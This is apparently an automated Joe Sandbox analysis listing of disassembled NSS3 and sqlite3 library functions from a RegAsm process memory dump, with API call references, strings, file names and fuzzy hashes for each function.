Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: DoesErrorK11_MechanismValuememcpy
String ID:
API String ID: 1351604052-0
Opcode ID: 784d35140fb5423ea4b0e6077d2e1a13045a4d40962641b4abb48bf07cf0b310
Instruction ID: 6bc9844e61adcf419d3ba67d69b51ff22cbcdac17f550a3497ac3d93cbae33b3
Opcode Fuzzy Hash: 784d35140fb5423ea4b0e6077d2e1a13045a4d40962641b4abb48bf07cf0b310
Instruction Fuzzy Hash: 46C16BB1A002199BDB20DF24CC80FDAB7B4BF48318F5541A9E948A7741E775AAA5CFD0

Function 6C412C30 Relevance: 13.7, APIs: 9, Instructions: 166memoryCOMMON

Download Yara Rule

APIs

PORT_ZAlloc_Util.NSS3(8327CEB7), ref: 6C412C5D

Part of subcall function 6C470D30: calloc.MOZGLUE ref: 6C470D50
Part of subcall function 6C470D30: TlsGetValue.KERNEL32 ref: 6C470D6D

CERT_NewTempCertificate.NSS3(?,?,00000000,00000000,00000001), ref: 6C412C8D
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C412CE0

Part of subcall function 6C412E00: SECITEM_DupItem_Util.NSS3(-0000003C,00000000,00000000,?,?,?,6C412CDA,?,00000000), ref: 6C412E1E
Part of subcall function 6C412E00: SECITEM_DupItem_Util.NSS3(?), ref: 6C412E33
Part of subcall function 6C412E00: TlsGetValue.KERNEL32 ref: 6C412E4E
Part of subcall function 6C412E00: EnterCriticalSection.KERNEL32(?), ref: 6C412E5E
Part of subcall function 6C412E00: PL_HashTableLookup.NSS3(?), ref: 6C412E71
Part of subcall function 6C412E00: PL_HashTableRemove.NSS3(?), ref: 6C412E84
Part of subcall function 6C412E00: PL_HashTableAdd.NSS3(?,00000000), ref: 6C412E96
Part of subcall function 6C412E00: PR_Unlock.NSS3 ref: 6C412EA9

PR_SetError.NSS3(FFFFE005,00000000), ref: 6C412D23
CERT_IsCACert.NSS3(00000001,00000000), ref: 6C412D30
CERT_MakeCANickname.NSS3(00000001), ref: 6C412D3F
free.MOZGLUE(00000000), ref: 6C412D73
CERT_DestroyCertificate.NSS3(?), ref: 6C412DB8
free.MOZGLUE ref: 6C412DC8

Part of subcall function 6C413E60: PL_InitArenaPool.NSS3(?,security,00000800,00000008,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C413EC2
Part of subcall function 6C413E60: SEC_QuickDERDecodeItem_Util.NSS3(?,?,?,?), ref: 6C413ED6
Part of subcall function 6C413E60: SECITEM_CopyItem_Util.NSS3(00000000,?,?), ref: 6C413EEE
Part of subcall function 6C413E60: PR_CallOnce.NSS3(6C572AA4,6C4712D0), ref: 6C413F02
Part of subcall function 6C413E60: PL_FreeArenaPool.NSS3 ref: 6C413F14
Part of subcall function 6C413E60: SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6C413F27

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Util$Item_$HashTable$ArenaCertificatePoolValueZfreefree$Alloc_CallCertCopyCriticalDecodeDestroyEnterErrorFreeInitLookupMakeNicknameOnceQuickRemoveSectionTempUnlockcalloc
String ID:
API String ID: 3941837925-0
Opcode ID: ac0d641cb6b68e9a40c915e992c797e4341c1d19262212dbd9a3f14458b3a630
Instruction ID: 58d9dcb4015be30fa00f68ae82f03cb40db1c625e96da091144631c353d97d4b
Opcode Fuzzy Hash: ac0d641cb6b68e9a40c915e992c797e4341c1d19262212dbd9a3f14458b3a630
Instruction Fuzzy Hash: 9951DF71A183129BEB21DE29DC84F7B77E5EF85209F15042CE899D3B50EB31E8158BD2

Function 6C418980 Relevance: 13.6, APIs: 9, Instructions: 150memoryCOMMON

Download Yara Rule

APIs

PORT_FreeArena_Util.NSS3(00000000,00000000,00000000,?,00000028,?,?,6C417310), ref: 6C4189B8

Part of subcall function 6C471200: TlsGetValue.KERNEL32(00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C471228
Part of subcall function 6C471200: EnterCriticalSection.KERNEL32(B8AC9BDF), ref: 6C471238
Part of subcall function 6C471200: PL_ClearArenaPool.NSS3(00000000,00000000,00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C47124B
Part of subcall function 6C471200: PR_CallOnce.NSS3(6C572AA4,6C4712D0,00000000,00000000,00000000,?,6C4188A4,00000000,00000000), ref: 6C47125D
Part of subcall function 6C471200: PL_FreeArenaPool.NSS3(00000000,00000000,00000000), ref: 6C47126F
Part of subcall function 6C471200: free.MOZGLUE(00000000,?,00000000,00000000), ref: 6C471280
Part of subcall function 6C471200: PR_Unlock.NSS3(00000000,?,?,00000000,00000000), ref: 6C47128E
Part of subcall function 6C471200: DeleteCriticalSection.KERNEL32(0000001C,?,?,?,00000000,00000000), ref: 6C47129A
Part of subcall function 6C471200: free.MOZGLUE(00000000,?,?,?,00000000,00000000), ref: 6C4712A1

PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000000,?,00000028,?,?,6C417310), ref: 6C4189E6
PORT_ArenaAlloc_Util.NSS3(00000004,00000004,00000004,?), ref: 6C418A00
CERT_CopyRDN.NSS3(00000004,00000000,6C417310,?,?,00000004,?), ref: 6C418A1B
PORT_ArenaGrow_Util.NSS3(00000004,00000000,?,?,?,?,?,?,?,00000004,?), ref: 6C418A74
PR_SetError.NSS3(FFFFE005,00000000,00000000,?,00000028,?,?,6C417310), ref: 6C418AAF
PORT_ArenaAlloc_Util.NSS3(00000004,00000008,00000000,?,00000028,?,?,6C417310), ref: 6C418AF3
PORT_ArenaGrow_Util.NSS3(00000004,?,C8850FC0,00000000,00000000,?,00000028,?,?,6C417310), ref: 6C418B1D

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: Arena$Util$Alloc_$CriticalFreeGrow_PoolSectionfree$Arena_CallClearCopyDeleteEnterErrorOnceUnlockValue
String ID:
API String ID: 3791662518-0
Opcode ID: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction ID: b00820a2d5710cb438e266668453c77d9fc8850e7a328bf5ea19e20c946220c6
Opcode Fuzzy Hash: 3e718ccd6bab1a6fedfd2d9a6eb7fe1c954d190e0ed5511cbc5e350e8e81dcb0
Instruction Fuzzy Hash: 6451D071A05210AFE710CF10CC44FBA37A8EB82799F16815AEC589BF91E731E905CB91

Function 6C3AE890 Relevance: 12.4, APIs: 5, Strings: 3, Instructions: 442stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(00000001), ref: 6C3AE922
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C3AE9CF
memcpy.VCRUNTIME140(00000024,?,?), ref: 6C3AEA0F
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C3AEB20
memcpy.VCRUNTIME140(?,?,?), ref: 6C3AEB57

Strings

number of columns in foreign key does not match the number of columns in the referenced table, xrefs: 6C3AEDC2
unknown column "%s" in foreign key definition, xrefs: 6C3AED18
foreign key on %s should reference only one column of table %T, xrefs: 6C3AEE04

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: memcpystrlen$memset
String ID: foreign key on %s should reference only one column of table %T$number of columns in foreign key does not match the number of columns in the referenced table$unknown column "%s" in foreign key definition
API String ID: 638109778-272990098
Opcode ID: 2ac49560c588f0e198ff59484ab05a3b6f954b97a7fdd22a8d05f5fadcefcebb
Instruction ID: d21cc59369c5bb6f2b0cd0e82104cf7d42c384612ce89d515db490340558da1d
Opcode Fuzzy Hash: 2ac49560c588f0e198ff59484ab05a3b6f954b97a7fdd22a8d05f5fadcefcebb
Instruction Fuzzy Hash: 72028F71E05219DFDB04CF99C480AAEB7B2FF89308F194169D855AB751D736A822CFE0

Function 6C4E2F70 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 123stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E2FFD
sqlite3_initialize.NSS3 ref: 6C4E3007
memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C4E3032
sqlite3_mprintf.NSS3(6C54AAF9,?), ref: 6C4E3073
sqlite3_free.NSS3(?), ref: 6C4E30B3
sqlite3_mprintf.NSS3(sqlite3_get_table() called with two or more incompatible queries), ref: 6C4E30C0

Strings

sqlite3_get_table() called with two or more incompatible queries, xrefs: 6C4E30BB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_mprintf$memcpysqlite3_freesqlite3_initializestrlen
String ID: sqlite3_get_table() called with two or more incompatible queries
API String ID: 750880481-4279182443
Opcode ID: b656161a19583e587aaa0c904982b704ac4c8c6841638b84288da37f8f70454b
Instruction ID: c2ddcec8683414905dc064f376c10ca0be1f737b3a7b5f1d4caef4b5406a4003
Opcode Fuzzy Hash: b656161a19583e587aaa0c904982b704ac4c8c6841638b84288da37f8f70454b
Instruction Fuzzy Hash: A541BF71600606ABDB10CF25D840F96B7F5FF8836AF058628EC5987B50E731E955CBD1

Function 6C428CF0 Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 76COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32(00000000,00000000,?,6C43124D,00000001), ref: 6C428D19
EnterCriticalSection.KERNEL32(?,?,?,?,6C43124D,00000001), ref: 6C428D32
PL_ArenaRelease.NSS3(?,?,?,?,?,6C43124D,00000001), ref: 6C428D73
PR_Unlock.NSS3(?,?,?,?,?,6C43124D,00000001), ref: 6C428D8C

Part of subcall function 6C4BDD70: TlsGetValue.KERNEL32 ref: 6C4BDD8C
Part of subcall function 6C4BDD70: LeaveCriticalSection.KERNEL32(00000000), ref: 6C4BDDB4

PR_Unlock.NSS3(?,?,?,?,?,6C43124D,00000001), ref: 6C428DBA

Strings

KRAM, xrefs: 6C428D3E
KRAM, xrefs: 6C428CF9

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalSectionUnlockValue$ArenaEnterLeaveRelease
String ID: KRAM$KRAM
API String ID: 2419422920-169145855
Opcode ID: 9be228f6ff654605e7f379a369d1a3ef96e19aaea3b77df2540113a0cf2283cf
Instruction ID: 06b9da92c3b95db79af53c215a5fd6f805bb705c8627f16241c792a8e3be011b
Opcode Fuzzy Hash: 9be228f6ff654605e7f379a369d1a3ef96e19aaea3b77df2540113a0cf2283cf
Instruction Fuzzy Hash: DE2191B6A146018FDB00EF38C885E5EB7F0FF95309F15896AD89887701D738E846CB91

Function 6C520ED0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 68COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(Assertion failure: %s, at %s:%d,00000000,00000001,?,00000001,00000000,00000000), ref: 6C520EE6
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,00000001,00000000,00000000), ref: 6C520EFA

Part of subcall function 6C40AEE0: __stdio_common_vfprintf.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,00000001,?,00000000,?,00000001,?,?,?,00000001,00000000,00000000), ref: 6C40AF0E

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F16
fflush.API-MS-WIN-CRT-STDIO-L1-1-0(00000000,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F1C
DebugBreak.KERNEL32(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F25
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C520F2B

Strings

Aborting, xrefs: 6C520EB3
Assertion failure: %s, at %s:%d, xrefs: 6C520ED9, 6C520EE5, 6C520F06, 6C520F0B

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: __acrt_iob_func$BreakDebugPrint__stdio_common_vfprintfabortfflush
String ID: Aborting$Assertion failure: %s, at %s:%d
API String ID: 2948422844-1374795319
Opcode ID: 79b2a2999269a708e03e38e91c31cae968426cf3dd4f88e9b2b0e3fffff1fdd5
Instruction ID: 1c46344979573f4815c45393a4c3d89d41f8cd5119d583887a8ecef9b9df881c
Opcode Fuzzy Hash: 79b2a2999269a708e03e38e91c31cae968426cf3dd4f88e9b2b0e3fffff1fdd5
Instruction Fuzzy Hash: 8901C0B5A00144ABDF11AF68DC55CAB3F7CEF86264F014026FD0A87761D735E96086A2

Function 6C4E4D80 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 36COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C4E4DC3
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CA4,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4E4DE0

Strings

API call with %s database connection pointer, xrefs: 6C4E4DBD
misuse, xrefs: 6C4E4DD5
invalid, xrefs: 6C4E4DB8
%s at line %d of [%.10s], xrefs: 6C4E4DDA
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4E4DCB

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 89066f94ab1ff6fbd97da9741afe1c78f5d338b135539554055fd87ffa93a38b
Instruction ID: a30045d4d00109c4cdf2cf6a4b377f67164a1ba061429070afe34e47a43f5fbc
Opcode Fuzzy Hash: 89066f94ab1ff6fbd97da9741afe1c78f5d338b135539554055fd87ffa93a38b
Instruction Fuzzy Hash: 33F0E931F146647BD701C195CC10F8637954F5939FF4759A1FE447BF92D2469C6092C2

Function 6C4E4DF0 Relevance: 12.3, APIs: 2, Strings: 5, Instructions: 35COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,API call with %s database connection pointer,invalid), ref: 6C4E4E30
sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CAD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C4E4E4D

Strings

API call with %s database connection pointer, xrefs: 6C4E4E2A
misuse, xrefs: 6C4E4E42
invalid, xrefs: 6C4E4E25
%s at line %d of [%.10s], xrefs: 6C4E4E47
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C4E4E38

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$API call with %s database connection pointer$invalid$misuse
API String ID: 632333372-2974027950
Opcode ID: 8e7639627c4b5f6a8d911d3005e368be130568b230ed4ff58772937ec28d2d81
Instruction ID: c2e89d7246fef77962902a1c987c1090fb53afd5dc9c5424e4515baa5269ea0b
Opcode Fuzzy Hash: 8e7639627c4b5f6a8d911d3005e368be130568b230ed4ff58772937ec28d2d81
Instruction Fuzzy Hash: CCF02731F44A287BEB1080ADDC10F8637864B193ABF4BD6A1EA0977F92D2069C6042D2

Function 6C450C90 Relevance: 12.2, APIs: 8, Instructions: 191memorythreadCOMMON

Download Yara Rule

APIs

PR_SetError.NSS3(00000000,00000000,6C451444,?,00000001,?,00000000,00000000,?,?,6C451444,?,?,00000000,?,?), ref: 6C450CB3

Part of subcall function 6C4BC2A0: TlsGetValue.KERNEL32(FFFFE89D,00000000,?,?,?,?,?,?,?,?,?,?,?,00000001,00000000,00000000), ref: 6C4BC2BF

PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?,?,6C451444,?), ref: 6C450DC1
PORT_Strdup_Util.NSS3(?,?,?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?,?,6C451444,?), ref: 6C450DEC

Part of subcall function 6C470F10: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,00000000,?,?,6C412AF5,?,?,?,?,?,6C410A1B,00000000), ref: 6C470F1A
Part of subcall function 6C470F10: malloc.MOZGLUE(00000001), ref: 6C470F30
Part of subcall function 6C470F10: memcpy.VCRUNTIME140(00000000,?,00000001), ref: 6C470F42

SECITEM_AllocItem_Util.NSS3(00000000,00000000,?,?,?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?), ref: 6C450DFF
memcpy.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,6C451444,?,00000001,?,00000000), ref: 6C450E16
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?), ref: 6C450E53
PR_GetCurrentThread.NSS3(?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?,?,6C451444,?,?,00000000), ref: 6C450E65
PR_SetError.NSS3(FFFFE089,00000000,?,?,?,?,6C451444,?,00000001,?,00000000,00000000,?), ref: 6C450E79

Part of subcall function 6C461560: TlsGetValue.KERNEL32(00000000,?,6C430844,?), ref: 6C46157A
Part of subcall function 6C461560: EnterCriticalSection.KERNEL32(?,?,?,6C430844,?), ref: 6C46158F
Part of subcall function 6C461560: PR_Unlock.NSS3(?,?,?,?,6C430844,?), ref: 6C4615B2

Part of subcall function 6C42B1A0: DeleteCriticalSection.KERNEL32(5B5F5EDC,6C431397,00000000,?,6C42CF93,5B5F5EC0,00000000,?,6C431397,?), ref: 6C42B1CB
Part of subcall function 6C42B1A0: free.MOZGLUE(5B5F5EC0,?,6C42CF93,5B5F5EC0,00000000,?,6C431397,?), ref: 6C42B1D2

Part of subcall function 6C4289E0: TlsGetValue.KERNEL32(00000000,-00000008,00000000,?,?,6C4288AE,-00000008), ref: 6C428A04
Part of subcall function 6C4289E0: EnterCriticalSection.KERNEL32(?), ref: 6C428A15
Part of subcall function 6C4289E0: memset.VCRUNTIME140(6C4288AE,00000000,00000132), ref: 6C428A27
Part of subcall function 6C4289E0: PR_Unlock.NSS3(?), ref: 6C428A35

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: CriticalErrorSectionValue$EnterUnlockUtilfreememcpy$AllocCurrentDeleteItem_Strdup_Threadmallocmemsetstrlen
String ID:
API String ID: 1601681851-0
Opcode ID: 41ff32cb0103d9f259fd12b4b797ec425d335d5f18fb78576a01517f84377fb6
Instruction ID: fb209ac2a50382bcf377319877895c549f76fa58dd614fc326346ed7871cd3a9
Opcode Fuzzy Hash: 41ff32cb0103d9f259fd12b4b797ec425d335d5f18fb78576a01517f84377fb6
Instruction Fuzzy Hash: 9A5198B9E012105FEB10DF65DC81EAB37A8AF4925DF550428EC0997712EB31ED29C6E2

Function 6C406E50 Relevance: 12.2, APIs: 8, Instructions: 189COMMON

Download Yara Rule

APIs

sqlite3_value_text.NSS3(?,?), ref: 6C406ED8
sqlite3_value_text.NSS3(?,?), ref: 6C406EE5
memcmp.VCRUNTIME140(00000000,?,?,?,?), ref: 6C406FA8
sqlite3_value_text.NSS3(00000000,?), ref: 6C406FDB
sqlite3_result_error_nomem.NSS3(?,?,?,?,?), ref: 6C406FF0
sqlite3_value_blob.NSS3(?,?), ref: 6C407010
sqlite3_value_blob.NSS3(?,?), ref: 6C40701D
sqlite3_value_text.NSS3(00000000,?,?,?), ref: 6C407052

Memory Dump Source

Source File: 00000003.00000002.1853258614.000000006C391000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C390000, based on PE: true

Associated: 00000003.00000002.1853240787.000000006C390000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854092669.000000006C52F000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854206602.000000006C56E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854228183.000000006C56F000.00000008.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854247997.000000006C570000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000003.00000002.1854269498.000000006C575000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_6c390000_RegAsm.jbxd

Similarity

API ID: sqlite3_value_text$sqlite3_value_blob$memcmpsqlite3_result_error_nomem
String ID:
API String ID: 1920323672-0
Opcode ID: e1be2d1a2d53997c602e923546af28531e08d8a0280b4862dc5758ca6444a2ab
Instruction ID: cf60c4152cd060d1fd8b6f339f8dffd45342da09ba8c31fdf7305f5d29716a50
Opcode Fuzzy Hash: e1be2d1a2d53997c602e923546af28531e08d8a0280b4862dc5758ca6444a2ab
Instruction Fuzzy Hash: 5B61D3B1F552158BDB00CF64C800FEEB7B2AF85308F184179D816AB751E7369C46CBA1

Function 6C478F80 Relevance: 12.2, APIs: 8, Instructions: 158memoryCOMMON

Download Yara Rule

APIs

SECOID_FindOID_Util.NSS3(?,?,FFFFE005,?,6C477313), ref: 6C478FBB

Part of subcall function 6C4707B0: PL_HashTableLookupConst.NSS3(?,FFFFFFFF,?,?,6C418298,?,?,?,6C40FCE5,?), ref: 6C4707BF
Part of subcall function 6C4707B0: PL_HashTableLookup.NSS3(?,?), ref: 6C4707E6
Part of subcall function 6C4707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C47081B
Part of subcall function 6C4707B0: PR_SetError.NSS3(FFFFE08F,00000000), ref: 6C470825

SECOID_FindOID_Util.NSS3(?,?,?,FFFFE005,?,6C477313), ref: 6C479012
SECOID_FindOID_Util.NSS3(?,?,?,?,FFFFE005,?,6C477313), ref: 6C47903C
